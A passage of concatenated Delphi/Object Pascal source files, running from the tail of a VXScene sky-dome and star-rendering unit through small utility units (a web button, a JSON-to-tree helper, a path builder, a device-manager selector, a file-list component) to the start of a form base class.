glColor3fv(@twinkleColor.X);
n := 0;
end
else
Inc(n);
end;
begin
if Count = 0 then
Exit;
PrecomputeCartesianCoordinates;
lastColor := -1;
n := 0;
lastPointSize10 := -1;
rci.VXStates.Enable(stPointSmooth);
rci.VXStates.Enable(stAlphaTest);
rci.VXStates.SetAlphaFunction(cfNotEqual, 0.0);
rci.VXStates.Enable(stBlend);
rci.VXStates.SetBlendFunc(bfSrcAlpha, bfOne);
glBegin(GL_POINTS);
for i := 0 to Count - 1 do
begin
star := Items[i];
pointSize10 := Round((4.5 - star.Magnitude) * 10);
if pointSize10 <> lastPointSize10 then
begin
if pointSize10 > 15 then
begin
glEnd;
lastPointSize10 := pointSize10;
rci.VXStates.PointSize := pointSize10 * 0.1;
glBegin(GL_POINTS);
end
else if lastPointSize10 <> 15 then
begin
glEnd;
lastPointSize10 := 15;
rci.VXStates.PointSize := 1.5;
glBegin(GL_POINTS);
end;
end;
if lastColor <> star.FColor then
begin
color := ConvertWinColor(star.FColor);
if twinkle then
begin
n := 0;
DoTwinkle;
end
else
glColor3fv(@color.X);
lastColor := star.FColor;
end
else if twinkle then
DoTwinkle;
glVertex3fv(@star.FCacheCoord.X);
end;
glEnd;
// restore default AlphaFunc
rci.VXStates.SetAlphaFunction(cfGreater, 0);
end;
procedure TVXSkyDomeStars.AddRandomStars(const nb: Integer; const color: TColor;
const limitToTopDome: Boolean = False);
var
i: Integer;
coord: TAffineVector;
star: TVXSkyDomeStar;
begin
for i := 1 to nb do
begin
star := Add;
// pick a point in the half-cube
if limitToTopDome then
coord.Z := Random
else
coord.Z := Random * 2 - 1;
// calculate RA and Dec
star.Dec := ArcSine(coord.Z) * c180divPI;
star.Ra := Random * 360 - 180;
// pick a color
star.Color := color;
// pick a magnitude
star.Magnitude := 3;
end;
end;
procedure TVXSkyDomeStars.AddRandomStars(const nb: Integer; const ColorMin,
ColorMax: TVector3b;
const Magnitude_min, Magnitude_max: Single;
const limitToTopDome: Boolean = False);
function RandomTT(Min, Max: Byte): Byte;
begin
Result := Min + Random(Max - Min);
end;
var
i: Integer;
coord: TAffineVector;
star: TVXSkyDomeStar;
begin
for i := 1 to nb do
begin
star := Add;
// pick a point in the half-cube
if limitToTopDome then
coord.Z := Random
else
coord.Z := Random * 2 - 1;
// calculate RA and Dec
star.Dec := ArcSine(coord.Z) * c180divPI;
star.Ra := Random * 360 - 180;
// pick a color
star.Color := RGB2Color(RandomTT(ColorMin.X, ColorMax.X),
RandomTT(ColorMin.Y, ColorMax.Y),
RandomTT(ColorMin.Z, ColorMax.Z));
// pick a magnitude
star.Magnitude := Magnitude_min + Random * (Magnitude_max - Magnitude_min);
end;
end;
procedure TVXSkyDomeStars.LoadStarsFile(const starsFileName: string);
var
fs: TFileStream;
sr: TVXStarRecord;
colorVector: TColorVector;
begin
fs := TFileStream.Create(starsFileName, fmOpenRead + fmShareDenyWrite);
try
while fs.Position < fs.Size do
begin
fs.Read(sr, SizeOf(sr));
with Add do
begin
RA := sr.RA * 0.01;
DEC := sr.DEC * 0.01;
colorVector := StarRecordColor(sr, 3);
Magnitude := sr.VMagnitude * 0.1;
if sr.VMagnitude > 35 then
Color := ConvertColorVector(colorVector, colorVector.W)
else
Color := ConvertColorVector(colorVector);
end;
end;
finally
fs.Free;
end;
end;
// ------------------
// ------------------ TVXSkyDome ------------------
// ------------------
constructor TVXSkyDome.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
CamInvarianceMode := cimPosition;
ObjectStyle := ObjectStyle + [osDirectDraw, osNoVisibilityCulling];
FBands := TVXSkyDomeBands.Create(Self);
with FBands.Add do
begin
StartAngle := 0;
StartColor.Color := clrWhite;
StopAngle := 15;
StopColor.Color := clrBlue;
end;
with FBands.Add do
begin
StartAngle := 15;
StartColor.Color := clrBlue;
StopAngle := 90;
Stacks := 4;
StopColor.Color := clrNavy;
end;
FStars := TVXSkyDomeStars.Create(Self);
end;
destructor TVXSkyDome.Destroy;
begin
FStars.Free;
FBands.Free;
inherited Destroy;
end;
procedure TVXSkyDome.Assign(Source: TPersistent);
begin
if Source is TVXSkyDome then
begin
FBands.Assign(TVXSkyDome(Source).FBands);
FStars.Assign(TVXSkyDome(Source).FStars);
end;
inherited;
end;
procedure TVXSkyDome.SetBands(const val: TVXSkyDomeBands);
begin
FBands.Assign(val);
StructureChanged;
end;
procedure TVXSkyDome.SetStars(const val: TVXSkyDomeStars);
begin
FStars.Assign(val);
StructureChanged;
end;
procedure TVXSkyDome.SetOptions(const val: TVXSkyDomeOptions);
begin
if val <> FOptions then
begin
FOptions := val;
if sdoTwinkle in FOptions then
ObjectStyle := ObjectStyle + [osDirectDraw]
else
begin
ObjectStyle := ObjectStyle - [osDirectDraw];
DestroyHandle;
end;
StructureChanged;
end;
end;
procedure TVXSkyDome.BuildList(var rci: TVXRenderContextInfo);
var
f: Single;
begin
// setup states
rci.VXStates.Disable(stLighting); // 8
rci.VXStates.Disable(stDepthTest);
rci.VXStates.Disable(stFog);
rci.VXStates.Disable(stCullFace);
rci.VXStates.Disable(stBlend); // 2
rci.VXStates.DepthWriteMask := False;
rci.VXStates.PolygonMode := pmFill;
f := rci.rcci.farClippingDistance * 0.90;
glScalef(f, f, f);
Bands.BuildList(rci);
Stars.BuildList(rci, (sdoTwinkle in FOptions));
end;
// ------------------
// ------------------ TVXEarthSkyDome ------------------
// ------------------
constructor TVXEarthSkyDome.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FMorning:=true;
Bands.Clear;
FSunElevation := 75;
FTurbidity := 15;
FSunZenithColor := TVXColor.CreateInitialized(Self, clrWhite, OnColorChanged);
FSunDawnColor := TVXColor.CreateInitialized(Self, Vectormake(1, 0.5, 0, 0),OnColorChanged);
FHazeColor := TVXColor.CreateInitialized(Self, VectorMake(0.9, 0.95, 1, 0),OnColorChanged);
FSkyColor := TVXColor.CreateInitialized(Self, VectorMake(0.45, 0.6, 0.9, 0),OnColorChanged);
FNightColor := TVXColor.CreateInitialized(Self, clrTransparent,OnColorChanged);
FDeepColor := TVXColor.CreateInitialized(Self, VectorMake(0, 0.2, 0.4, 0));
FStacks := 24;
FSlices := 48;
PreCalculate;
end;
destructor TVXEarthSkyDome.Destroy;
begin
FSunZenithColor.Free;
FSunDawnColor.Free;
FHazeColor.Free;
FSkyColor.Free;
FNightColor.Free;
FDeepColor.Free;
inherited Destroy;
end;
procedure TVXEarthSkyDome.Assign(Source: TPersistent);
begin
if Source is TVXSkyDome then
begin
FSunElevation := TVXEarthSkyDome(Source).SunElevation;
FTurbidity := TVXEarthSkyDome(Source).Turbidity;
FSunZenithColor.Assign(TVXEarthSkyDome(Source).FSunZenithColor);
FSunDawnColor.Assign(TVXEarthSkyDome(Source).FSunDawnColor);
FHazeColor.Assign(TVXEarthSkyDome(Source).FHazeColor);
FSkyColor.Assign(TVXEarthSkyDome(Source).FSkyColor);
FNightColor.Assign(TVXEarthSkyDome(Source).FNightColor);
FSlices := TVXEarthSkyDome(Source).FSlices;
FStacks := TVXEarthSkyDome(Source).FStacks;
PreCalculate;
end;
inherited;
end;
procedure TVXEarthSkyDome.Loaded;
begin
inherited;
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSunElevation(const val: Single);
var
newVal: single;
begin
newval := clampValue(val, -90, 90);
if FSunElevation <> newval then
begin
FSunElevation := newval;
PreCalculate;
end;
end;
procedure TVXEarthSkyDome.SetTurbidity(const val: Single);
begin
FTurbidity := ClampValue(val, 1, 120);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSunZenithColor(const val: TVXColor);
begin
FSunZenithColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSunDawnColor(const val: TVXColor);
begin
FSunDawnColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetHazeColor(const val: TVXColor);
begin
FHazeColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSkyColor(const val: TVXColor);
begin
FSkyColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetNightColor(const val: TVXColor);
begin
FNightColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetDeepColor(const val: TVXColor);
begin
FDeepColor.Assign(val);
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSlices(const val: Integer);
begin
if val>6 then FSlices:=val else FSlices:=6;
StructureChanged;
end;
procedure TVXEarthSkyDome.SetStacks(const val: Integer);
begin
if val>1 then FStacks:=val else FStacks:=1;
StructureChanged;
end;
procedure TVXEarthSkyDome.BuildList(var rci: TVXRenderContextInfo);
var
f: Single;
begin
// setup states
with rci.VxStates do
begin
CurrentProgram := 0;
Disable(stLighting);
if esoDepthTest in FExtendedOptions then
begin
Enable(stDepthTest);
DepthFunc := cfLEqual;
end
else
Disable(stDepthTest);
Disable(stFog);
Disable(stCullFace);
Disable(stBlend);
Disable(stAlphaTest);
DepthWriteMask := False;
PolygonMode := pmFill;
end;
f := rci.rcci.farClippingDistance * 0.95;
glScalef(f, f, f);
RenderDome;
Bands.BuildList(rci);
Stars.BuildList(rci, (sdoTwinkle in FOptions));
// restore
rci.VXStates.DepthWriteMask := True;
end;
procedure TVXEarthSkyDome.OnColorChanged(Sender: TObject);
begin
PreCalculate;
end;
procedure TVXEarthSkyDome.SetSunAtTime(HH, MM: Single);
const
cHourToElevation1: array[0..23] of Single =
(-45, -67.5, -90, -57.5, -45, -22.5, 0, 11.25, 22.5, 33.7, 45, 56.25, 67.5,
78.75, 90, 78.75, 67.5, 56.25, 45, 33.7, 22.5, 11.25, 0, -22.5);
cHourToElevation2: array[0..23] of Single =
(-0.375, -0.375, 0.375, 0.375, 0.375, 0.375, 0.1875, 0.1875, 0.1875, 0.1875,
0.1875, 0.1875, 0.1875, 0.1875, -0.1875, -0.1875, -0.1875, -0.1875, -0.1875,
-0.1875, -0.1875, -0.1875, -0.375, -0.375);
var
ts:Single;
fts:Single;
i:integer;
color:TColor;
begin
HH:=Round(HH);
if HH<0 then HH:=0;
if HH>23 then HH:=23;
if MM<0 then MM:=0;
if MM>=60 then
begin
MM:=0;
HH:=HH+1;
if HH>23 then HH:=0;
end;
FSunElevation := cHourToElevation1[Round(HH)] + cHourToElevation2[Round(HH)]*MM;
ts := DegToRadian(90 - FSunElevation);
// Mix base colors
fts := exp(-6 * (PI / 2 - ts));
VectorLerp(SunZenithColor.Color, SunDawnColor.Color, fts, FCurSunColor);
fts := IntPower(1 - cos(ts - 0.5), 2);
VectorLerp(HazeColor.Color, NightColor.Color, fts, FCurHazeColor);
VectorLerp(SkyColor.Color, NightColor.Color, fts, FCurSkyColor);
// Precalculate Turbidity factors
FCurHazeTurbid := -sqrt(121 - Turbidity) * 2;
FCurSunSkyTurbid := -(121 - Turbidity);
//fade stars if required
if SunElevation>-40 then ts:=PowerInteger(1-(SunElevation+40)/90,11)else ts:=1;
color := RGB2Color(round(ts * 255), round(ts * 255), round(ts * 255));
if esoFadeStarsWithSun in ExtendedOptions then for i:=0 to Stars.Count-1 do stars[i].Color:=color;
if esoRotateOnTwelveHours in ExtendedOptions then // spining around blue orb
begin
if (HH>=14) and (FMorning=true) then
begin
roll(180);
for i:=0 to Stars.Count-1 do stars[i].RA:=Stars[i].RA+180;
FMorning:=false;
end;
if (HH>=2) and (HH<14) and (FMorning=false) then
begin
roll(180);
for i:=0 to Stars.Count-1 do stars[i].RA:=Stars[i].RA+180;
FMorning:=true;
end;
end;
StructureChanged;
end;
procedure TVXEarthSkyDome.PreCalculate;
var
ts: Single;
fts: Single;
i: integer;
color: TColor;
begin
ts := DegToRadian(90 - SunElevation);
// Precompose base colors
fts := exp(-6 * (PI / 2 - ts));
VectorLerp(SunZenithColor.Color, SunDawnColor.Color, fts, FCurSunColor);
fts := PowerInteger(1 - cos(ts - 0.5), 2);
VectorLerp(HazeColor.Color, NightColor.Color, fts, FCurHazeColor);
VectorLerp(SkyColor.Color, NightColor.Color, fts, FCurSkyColor);
// Precalculate Turbidity factors
FCurHazeTurbid := -sqrt(121 - Turbidity) * 2;
FCurSunSkyTurbid := -(121 - Turbidity);
//fade stars if required
if SunElevation>-40 then
ts := PowerInteger(1 - (SunElevation+40) / 90, 11)
else
ts := 1;
color := RGB2Color(round(ts * 255), round(ts * 255), round(ts * 255));
if esoFadeStarsWithSun in ExtendedOptions then
for i := 0 to Stars.Count - 1 do
stars[i].Color := color;
if esoRotateOnTwelveHours in ExtendedOptions then
begin
if SunElevation = 90 then
begin
roll(180);
for i := 0 to Stars.Count - 1 do
stars[i].RA := Stars[i].RA + 180;
end
else if SunElevation = -90 then
begin
roll(180);
for i := 0 to Stars.Count - 1 do
stars[i].RA := Stars[i].RA + 180;
end;
end;
StructureChanged;
end;
function TVXEarthSkyDome.CalculateColor(const theta, cosGamma: Single):
TColorVector;
var
t: Single;
begin
t := PI / 2 - theta;
// mix to get haze/sky
VectorLerp(FCurSkyColor, FCurHazeColor, ClampValue(exp(FCurHazeTurbid * t), 0,
1), Result);
// then mix sky with sun
VectorLerp(Result, FCurSunColor, ClampValue(exp(FCurSunSkyTurbid * cosGamma *
(1 + t)) * 1.1, 0, 1), Result);
end;
procedure TVXEarthSkyDome.RenderDome;
var
ts: Single;
steps: Integer;
sunPos: TAffineVector;
sinTable, cosTable: PFloatArray;
// coordinates system note: X is forward, Y is left and Z is up
// always rendered as sphere of radius 1
function CalculateCosGamma(const p: TVector): Single;
begin
Result := 1 - VectorAngleCosine(PAffineVector(@p)^, sunPos);
end;
procedure RenderDeepBand(stop: Single);
var
i: Integer;
r, thetaStart: Single;
vertex1: TVector;
color: TColorVector;
begin
r := 0;
vertex1.W := 1;
// triangle fan with south pole
glBegin(GL_TRIANGLE_FAN);
color := CalculateColor(0, CalculateCosGamma(ZHmgPoint));
glColor4fv(DeepColor.AsAddress);
glVertex3f(0, 0, -1);
SinCosine(DegToRadian(stop), vertex1.Z, r);
thetaStart := DegToRadian(90 - stop);
for i := 0 to steps - 1 do
begin
vertex1.X := r * cosTable[i];
vertex1.Y := r * sinTable[i];
color := CalculateColor(thetaStart, CalculateCosGamma(vertex1));
glColor4fv(@color);
glVertex4fv(@vertex1);
end;
glEnd;
end;
procedure RenderBand(start, stop: Single);
var
i: Integer;
r, r2, thetaStart, thetaStop: Single;
vertex1, vertex2: TVector;
color: TColorVector;
begin
vertex1.W := 1;
if stop = 90 then
begin
// triangle fan with north pole
glBegin(GL_TRIANGLE_FAN);
color := CalculateColor(0, CalculateCosGamma(ZHmgPoint));
glColor4fv(@color);
glVertex4fv(@ZHmgPoint);
SinCosine(DegToRadian(start), vertex1.Z, r);
thetaStart := DegToRadian(90 - start);
for i := 0 to steps - 1 do
begin
vertex1.X := r * cosTable[i];
vertex1.Y := r * sinTable[i];
color := CalculateColor(thetaStart, CalculateCosGamma(vertex1));
glColor4fv(@color);
glVertex4fv(@vertex1);
end;
glEnd;
end
else
begin
vertex2.W := 1;
// triangle strip
glBegin(GL_TRIANGLE_STRIP);
SinCosine(DegToRadian(start), vertex1.Z, r);
SinCosine(DegToRadian(stop), vertex2.Z, r2);
thetaStart := DegToRadian(90 - start);
thetaStop := DegToRadian(90 - stop);
for i := 0 to steps - 1 do
begin
vertex1.X := r * cosTable[i];
vertex1.Y := r * sinTable[i];
color := CalculateColor(thetaStart, CalculateCosGamma(vertex1));
glColor4fv(@color);
glVertex4fv(@vertex1);
vertex2.X := r2 * cosTable[i];
vertex2.Y := r2 * sinTable[i];
color := CalculateColor(thetaStop, CalculateCosGamma(vertex2));
glColor4fv(@color);
glVertex4fv(@vertex2);
end;
glEnd;
end;
end;
var
n, i, sdiv2: Integer;
t, t2, p, fs: Single;
begin
ts := DegToRadian(90 - SunElevation);
SetVector(sunPos, sin(ts), 0, cos(ts));
// prepare sin/cos LUT, with a higher sampling around 0Ѝ
n := Slices div 2;
steps := 2 * n + 1;
GetMem(sinTable, steps * SizeOf(Single));
GetMem(cosTable, steps * SizeOf(Single));
for i := 1 to n do
begin
p := (1 - Sqrt(Cos((i / n) * cPIdiv2))) * PI;
SinCosine(p, sinTable[n + i], cosTable[n + i]);
sinTable[n - i] := -sinTable[n + i];
cosTable[n - i] := cosTable[n + i];
end;
// these are defined by hand for precision issue: the dome must wrap exactly
sinTable[n] := 0;
cosTable[n] := 1;
sinTable[0] := 0;
cosTable[0] := -1;
sinTable[steps - 1] := 0;
cosTable[steps - 1] := -1;
fs := SunElevation / 90;
// start render
t := 0;
sdiv2 := Stacks div 2;
for n := 0 to Stacks - 1 do
begin
if fs > 0 then
begin
if n < sdiv2 then
t2 := fs - fs * Sqr((sdiv2 - n) / sdiv2)
else
t2 := fs + Sqr((n - sdiv2) / (sdiv2 - 1)) * (1 - fs);
end
else
t2 := (n + 1) / Stacks;
RenderBand(Lerp(1, 90, t), Lerp(1, 90, t2));
t := t2;
end;
RenderDeepBand(1);
FreeMem(sinTable);
FreeMem(cosTable);
end;
//-------------------------------------------------------------
initialization
//-------------------------------------------------------------
RegisterClasses([TVXSkyDome, TVXEarthSkyDome]);
end.
|
unit uWButton;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Types, JS, Web,
JComponents;
// pas2js.Element;
(*type
TButton = class(TCustomControl)
public
constructor Create(parent: TCustomControl); virtual;
end; *)
type
{ TButton }
TButton = class(TCustomControl)
private
//FID: String;
//FStyleClass: String;
FLeft: String;// = '0px';
FTop: String;// = '0px';
FWidth: String;// = '100%';
FHeight: String;// = '100%';
FEnabled : boolean;
FCaption: String;
//FOnObjectReady: TNotifyEvent;
protected
function GetCaption: String;
procedure SetCaption(Value : String);
procedure InitializeObject; override;
//procedure StyleTagObject; override; empty; (* comment this if you need style attribute in the parent *)
//procedure ObjectReady; override;
function createElementTagObj: TJSElement; override;
public
constructor Create(AOwner: TControl); override;
published
// property ID: String read FID write FID; //setID;
// property StyleClass: String read FStyleClass write FStyleClass;
property _Left: String read FLeft write FLeft;
property _Top: String read FTop write FTop;
property _Width: String read FWidth write FWidth;
property _Height: String read FHeight write FHeight;
property CustomSize: boolean read FEnabled write FEnabled;
property Caption : String read GetCaption write SetCaption;
//property OnObjectReady: TNotifyEvent read FOnObjectReady write FOnObjectReady;
end;
implementation
(*
{ TWButton }
constructor TButton.Create(parent: TCustomControl);
begin
// inherited Create('button', parent);
inherited Create(parent);
TJSHTMLElement(Self.Handle).classList.add('button');
//SetProperty('color','white');
//SetProperty('border-radius', '4px');
//SetProperty('background', '#699BCE');
//SetProperty('cursor','pointer');
//SetProperty('box-shadow','0 -1px 1px 0 rgba(0, 0, 0, 0.25) inset, 0 1px 1px 0 rgba(0, 0, 0, 0.10) inset;)');
end;*)
{ ╔════════════════════════════════════════════╗
║ TWButton ║
╚════════════════════════════════════════════╝ }
constructor TButton.Create(AOwner: TControl);
begin
inherited Create(AOwner);
// document.createElement('button');
end;
function TButton.createElementTagObj: TJSElement;
begin
Result := document.createElement('button');
end;
function TButton.GetCaption: String;
begin
//if (Handle) then
//Result := Handle.innerHTML;
//Result := SMS(Self.Handle).text();
Result := Self.Handle.innerText;
end;
procedure TButton.SetCaption(Value: String);
begin
//if (Handle) then
//SMS(Self.Handle).text(Value);
//Handle.innerHTML := Value;
Self.Handle.innerText:= Value;
end;
procedure TButton.InitializeObject;
procedure ReadyAndExecute(aTime: TJSDOMHighResTimeStamp);
begin
(*
SMS(Self.Handle).css('text-align', 'center');
SMS(Self.Handle)
//.transform("translate3d("+FLeft??String(SMS(Self.Handle).css("left"))+", "+FTop??String(SMS(Self.Handle).css("top"))+", 0px)")
.css(
CLASS
"position":= "absolute";
"width" := IntToStr(Self.Width) + "px";
"height" := IntToStr(Self.Height) + "px";
"top" := SMS(Self.Handle).css("top");
"left" := SMS(Self.Handle).css("left");
END);
//doLayout;
*)
//console.log('onReady was called');
end;
begin
inherited; //GenerateUniqueObjectId
TJSElement(Self.Handle).classList.add('button');
// TJSElement(Self.Handle).ReadyExecute(@ReadyAndExecute);
//ReadyExecute(@ReadyAndExecute);
end;
end.
|
{-------------------------------------------------------------------------------
Copyright 2015 Ethea S.r.l.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------------------}
/// <summary>
/// superobject integration in EF trees. Include this unit to add
/// superobject-related features to TEFTree and descendants.
/// </summary>
unit EF.superobject;
interface
uses
SysUtils,
EF.Tree, EF.Types,
superobject;
type
TEFTreeHelper = class helper for TEFTree
public
/// <summary>
/// Tries to read from ASuperObject a value for each child node interpreting
/// it according to the child node's DataType. Read values are stored in
/// the child nodes.
/// </summary>
/// <param name="ASuperObject">
/// Source data. Only top-level pairs are used. Each pair may contain one
/// value. If AValueIndex is >= 0, each string may contain one or more
/// comma-separated values, of which only the one with index
/// AValueIndex is read.
/// </param>
/// <param name="AUseJSDateFormat">
/// True if any dates in source strings are in JS format; False for
/// system format.
/// </param>
/// <param name="AFormatSettings">
/// Custom format settings to decode values.
/// </param>
/// <param name="ATranslator">
/// Pass a translation function if key names in ASuperObject do not match
/// wanted child node names and you need to translate them. The function
/// receives the child name and should return the corresponding key name.
/// </param>
procedure SetChildValuesfromSuperObject(const ASuperObject: ISuperObject;
const AUseJSDateFormat: Boolean; const AFormatSettings: TFormatSettings;
const ATranslator: TNameTranslator; const AValueIndex: Integer = -1);
end;
implementation
uses
System.Types,
EF.StrUtils;
{ TEFTreeHelper }
procedure TEFTreeHelper.SetChildValuesfromSuperObject(
const ASuperObject: ISuperObject; const AUseJSDateFormat: Boolean;
const AFormatSettings: TFormatSettings; const ATranslator: TNameTranslator;
const AValueIndex: Integer);
var
I: Integer;
LChild: TEFNode;
LName: string;
LStringValue: string;
LStringValues: TStringDynArray;
function Translate(const AName: string): string;
begin
if Assigned(ATranslator) then
Result := ATranslator(AName)
else
Result := AName;
end;
begin
for I := 0 to ChildCount - 1 do
begin
LChild := Children[I];
LName := Translate(LChild.Name);
Assert(LName <> '');
LStringValue := ASuperObject.S[LName];
if LStringValue <> '' then
begin
if AValueIndex >= 0 then
begin
LStringValues := Split(LStringValue, ',');
if Length(LStringValues) > AValueIndex then
LStringValue := LStringValues[AValueIndex]
else
LStringValue := '';
end;
LChild.SetAsJSONValue(LStringValue, AUseJSDateFormat, AFormatSettings);
end
// Checkboxes are not submitted when unchecked, which for us means False.
else if LChild.DataType is TEFBooleanDataType then
LChild.AsBoolean := False;
end;
end;
end.
|
unit uPathBuilder;
interface
type
TPathBuilder = class
public
class function BuildSkinsPath(SkinsPath: string): string;
class procedure Configure;
class function GetExePath: string;
class function GetConfigIniFileName: string;
class function GetSmilesIniFileName: string;
class function GetJobsIniFileName: string;
class function GetComponentsFolderName: string;
class function GetDefaultSkinsDirFull: string;
class function GetImagesFolderName: string;
class function GetSmilesFolderName: string;
class function GetUsersFolderName: string;
end;
implementation
uses Forms, SysUtils, DreamChatConfig;
{ TPathBuilder }
class function TPathBuilder.BuildSkinsPath(SkinsPath: string): string;
begin
Result := SkinsPath;
if (SkinsPath <> '') and (ExtractFileDrive(SkinsPath) = '')
then Result := ExcludeTrailingPathDelimiter(TPathBuilder.GetExePath()) + SkinsPath;
end;
class procedure TPathBuilder.Configure;
begin
end;
class function TPathBuilder.GetComponentsFolderName: string;
begin
Result := GetExePath + TDreamChatDefaults.ComponentsFolderName;
end;
class function TPathBuilder.GetConfigIniFileName: string;
begin
Result := GetExePath() + TDreamChatDefaults.ConfigIniFileName;
end;
class function TPathBuilder.GetDefaultSkinsDirFull: string;
begin
Result := GetExePath + TDreamChatDefaults.DefaultSkinsDir;
end;
var
cachedExePath: string = '';
class function TPathBuilder.GetExePath: string;
begin
if cachedExePath = ''
then cachedExePath := IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName));
Result := cachedExePath;
end;
class function TPathBuilder.GetImagesFolderName: string;
begin
Result := GetExePath + TDreamChatDefaults.ImagesFolderName;
end;
class function TPathBuilder.GetJobsIniFileName: string;
begin
Result := GetExePath + TDreamChatDefaults.JobsIniFileName;
end;
class function TPathBuilder.GetSmilesFolderName: string;
begin
Result := GetExePath + TDreamChatDefaults.SmilesFolderName;
end;
class function TPathBuilder.GetSmilesIniFileName: string;
begin
Result := GetExePath + TDreamChatDefaults.SmilesIniFileName;
end;
class function TPathBuilder.GetUsersFolderName: string;
begin
Result := GetExePath + TDreamChatDefaults.UsersFolderName;
end;
end.
|
unit uPortableDeviceManager;
interface
uses
System.SysUtils,
Dmitry.Utils.System,
uPortableClasses,
uWIAClasses,
uAppUtils,
uWPDClasses;
function CreateDeviceManagerInstance: IPManager;
function GetDeviceEventManager: IPEventManager;
function IsWPDSupport: Boolean;
procedure ThreadCleanUp(ThreadID: THandle);
implementation
function IsWPDSupport: Boolean;
var
IsWPDAvailable: Boolean;
begin
if GetParamStrDBBool('/FORCEWIA') then
Exit(False);
if GetParamStrDBBool('/FORCEWPD') then
Exit(True);
IsWPDAvailable := False;
//Vista SP1
if (TOSVersion.Major = 6) and (TOSVersion.Minor = 0) and (TOSVersion.ServicePackMajor >= 1) then
IsWPDAvailable := True;
//Windows7 and higher
if (TOSVersion.Major = 6) and (TOSVersion.Minor >= 1) then
IsWPDAvailable := True;
Result := IsWPDAvailable;
end;
function CreateDeviceManagerInstance: IPManager;
begin
if IsWPDSupport then
Result := TWPDDeviceManager.Create
else
Result := TWIADeviceManager.Create;
end;
function GetDeviceEventManager: IPEventManager;
begin
if IsWPDSupport then
Result := WPDEventManager
else
Result := WiaEventManager;
end;
procedure ThreadCleanUp(ThreadID: THandle);
begin
if not IsWPDSupport then
CleanUpWIA(ThreadID);
end;
end.
|
unit TpFileList;
interface
uses
SysUtils, Classes,
ThHeaderComponent, ThTag,
TpControls;
type
TTpFileList = class(TThHeaderComponent)
private
FFolder: string;
FFullPath: Boolean;
FOnFilter: TTpEvent;
protected
procedure Tag(inTag: TThTag); override;
public
constructor Create(inOwner: TComponent); override;
destructor Destroy; override;
published
property Folder: string read FFolder write FFolder;
property FullPath: Boolean read FFullPath write FFullPath;
property OnFilter: TTpEvent read FOnFilter write FOnFilter;
end;
implementation
uses
DCPbase64;
constructor TTpFileList.Create(inOwner: TComponent);
begin
inherited;
end;
destructor TTpFileList.Destroy;
begin
inherited;
end;
procedure TTpFileList.Tag(inTag: TThTag);
begin
with inTag do
begin
Add(tpClass, 'TTpFileList');
Add('tpName', Name);
Add('tpFolder', Folder);
Attributes.Add('tpFullPath', FullPath);
Add('tpOnFilter', OnFilter);
end;
end;
end.
|
unit uDBForm;
interface
uses
Generics.Collections,
System.Types,
System.UITypes,
System.SysUtils,
System.SyncObjs,
System.Classes,
Winapi.Windows,
Winapi.CommCtrl,
Winapi.DwmApi,
Winapi.MultiMon,
Winapi.Messages,
Winapi.ActiveX,
Vcl.StdCtrls,
Vcl.Controls,
Vcl.Forms,
Vcl.Graphics,
Vcl.Themes,
Vcl.Menus,
Vcl.ExtCtrls,
Dmitry.Utils.System,
Dmitry.Graphics.Types,
uMemory,
uGOM,
{$IFNDEF EXTERNAL}
uTranslate,
{$ENDIF}
uVistaFuncs,
{$IFDEF PHOTODB}
uFastLoad,
uGraphicUtils,
{$ENDIF}
uIDBForm,
uThemesUtils;
{$R-}
type
TDBForm = class;
TDBForm = class(TForm, IInterface, IDBForm)
private
FWindowID: string;
FWasPaint: Boolean;
FDoPaintBackground: Boolean;
FRefCount: Integer;
FIsRestoring: Boolean;
FIsMinimizing: Boolean;
FIsMaximizing: Boolean;
{$IFDEF PHOTODB}
FMaskPanel: TPanel;
FMaskImage: TImage;
FMaskCount: Integer;
{$ENDIF PHOTODB}
function GetTheme: TDatabaseTheme;
function GetFrameWidth: Integer;
protected
procedure WndProc(var Message: TMessage); override;
function GetFormID: string; virtual; abstract;
procedure DoCreate; override;
procedure ApplyStyle; virtual;
procedure ApplySettings; virtual;
procedure FixLayout; virtual;
procedure CustomFormAfterDisplay; virtual;
procedure WMSize(var Message: TWMSize); message WM_SIZE;
function IInterface.QueryInterface = QueryInterfaceInternal;
function QueryInterfaceInternal(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
procedure InterfaceDestroyed; virtual;
function CanUseMaskingForModal: Boolean; virtual;
function DisableMasking: Boolean; virtual;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Restore;
function L(StringToTranslate: string): string; overload;
function L(StringToTranslate: string; Scope: string): string; overload;
function LF(StringToTranslate: string; Args: array of const): string;
procedure BeginTranslate;
procedure EndTranslate;
procedure FixFormPosition;
function QueryInterfaceEx(const IID: TGUID; out Obj): HResult;
procedure PrepaireMask;
procedure ShowMask;
procedure HideMask;
function ShowModal: Integer; override;
property FormID: string read GetFormID;
property WindowID: string read FWindowID;
property Theme: TDatabaseTheme read GetTheme;
property IsRestoring: Boolean read FIsRestoring;
property IsMinimizing: Boolean read FIsMinimizing;
property IsMaximizing: Boolean read FIsMaximizing;
property FrameWidth: Integer read GetFrameWidth;
end;
type
TFormCollection = class(TObject)
private
FSync: TCriticalSection;
FForms: TList<TDBForm>;
constructor Create;
function GetFormByIndex(Index: Integer): TDBForm;
public
destructor Destroy; override;
class function Instance: TFormCollection;
procedure UnRegisterForm(Form: TDBForm);
procedure RegisterForm(Form: TDBForm);
function GetImage(BaseForm: TDBForm; FileName: string; Bitmap: TBitmap; var Width: Integer;
var Height: Integer): Boolean;
function GetFormByBounds<T: TDBForm>(BoundsRect: TRect): TDBForm;
function GetForm(WindowID: string): TDBForm;
